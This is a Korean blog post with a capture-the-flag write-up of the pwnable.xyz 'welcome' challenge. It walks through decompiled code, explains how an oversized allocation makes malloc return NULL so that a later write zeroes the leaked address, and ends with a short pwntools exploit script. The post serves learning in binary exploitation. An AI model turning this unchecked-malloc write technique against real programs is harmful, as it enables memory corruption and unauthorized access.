Pwnstar

Pwnable.xyz welcome 본문

Wargame/pwnable.xyz

Pwnable.xyz welcome

포너블처돌이 2020. 11. 9. 13:46

거의 한달만에 첫 글인데 진짜 쉬운 문제인데 한참동안 보고도 모르겠어서 까망눈연구소장님의 도움을 받아서 풀었다.

보호기법은 모두 걸려있다.

IDA로 디컴파일 소스코드를 보자

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  __int64 v4; // rdx
  char *v5; // rbp
  __int64 v6; // rdx
  size_t v7; // rdx
  size_t size; // [rsp+0h] [rbp-28h]
  unsigned __int64 v10; // [rsp+8h] [rbp-20h]

  v10 = __readfsqword(0x28u);
  sub_B4E(a1, a2, a3);
  puts("Welcome.");
  v3 = malloc(0x40000uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ", v4);
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  v5 = (char *)malloc(size);
  _printf_chk(1LL, "Enter your message: ", v6);
  read(0, v5, size);
  v7 = size;
  v5[size - 1] = 0;
  write(1, v5, v7);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

이렇게 되어있는데, 플래그를 보기 위한 조건은 간단하다.

*v3 = 1로 설정해주고, 이 *v3가 0이면 플래그를 볼 수 있다. 이 v3를 0으로 만들어줘야 하는데, 다행히 처음에 v3의 주소를 leak해준다.

그러고 메세지의 길이와 메세지를 입력받는다. 이 부분을 이용해서 v3를 0으로 만들어야하는데 우선 v3와 v5가 각각 어느 위치에 생성되는 지 보자.

이렇게 생기는데...v5는 v3 뒤에 생성되기 때문에 overflow로 v3의 값을 덮어쓸 수가 없다.

여기까지가 문제를 보고 파악한 내용인데, v3를 0으로 만들 방법을 찾지 못해서 라업을 보았다.(예전에 풀었던 문제인데ㅠㅠ)

malloc을 할 떄 실패하게 되면 NULL값을 return하게 된다. malloc이 실패하는 이유에는 너무 큰 값을 할당하게 되어서 실패하는 경우가 있는데 NULL값을 return하게 만들어서 v5를 0으로 만들고, 

v5[size - 1] = 0; 부분을 이용해서 v3를 0으로 만들 수 있다.

v5가 0이 되면 0 + size - 1의 주소를 0으로 만들게 되는데, 만약 size에 v3의 주소 + 1의 값을 넣게 되면 v3의 값을 0으로 만들 수 있게 된다. 그리고 이후의 메세지는 아무 값이나 입력해도 되고, 아무값도 입력하지 않아도 된다.

ex.py

from pwn import*

p = remote("svc.pwnable.xyz", 30000)

p.recvuntil("Leak: ")

v3_addr = int(p.recv(14), 16)
log.info("v3_address = " + hex(v3_addr))
p.recvuntil("Length of your message: ")

p.sendline(str(v3_addr+1))
p.recvuntil("Enter your message: ")

p.sendline()

p.interactive()

 

이렇게 페이로드를 작성해주면 플래그를 볼 수 있다.

 

참고

thanks to 까망눈연구소장님

 

[pwnable.xyz] welcome

1. 문제 1번 문제에 걸려있는 보호기법들은 다음과 같다. NX 비트가 걸려있기 때문에 실행권한도 없을 것이고, PIE도 걸려있어 GOT overrite도 불가능 할 것이다. 쩃든 프로그램을 한번 실행시켜보자

wogh8732.tistory.com

 

 

'Wargame > pwnable.xyz' 카테고리의 다른 글

Pwnable.xyz note  (0) 2020.11.12
Pwnable.xyz GrownUp  (0) 2020.11.12
Pwnable.xyz misalignment  (0) 2020.11.09
Pwnable.xyz add  (0) 2020.11.09
Pwnable.xyz sub  (0) 2020.11.09
Comments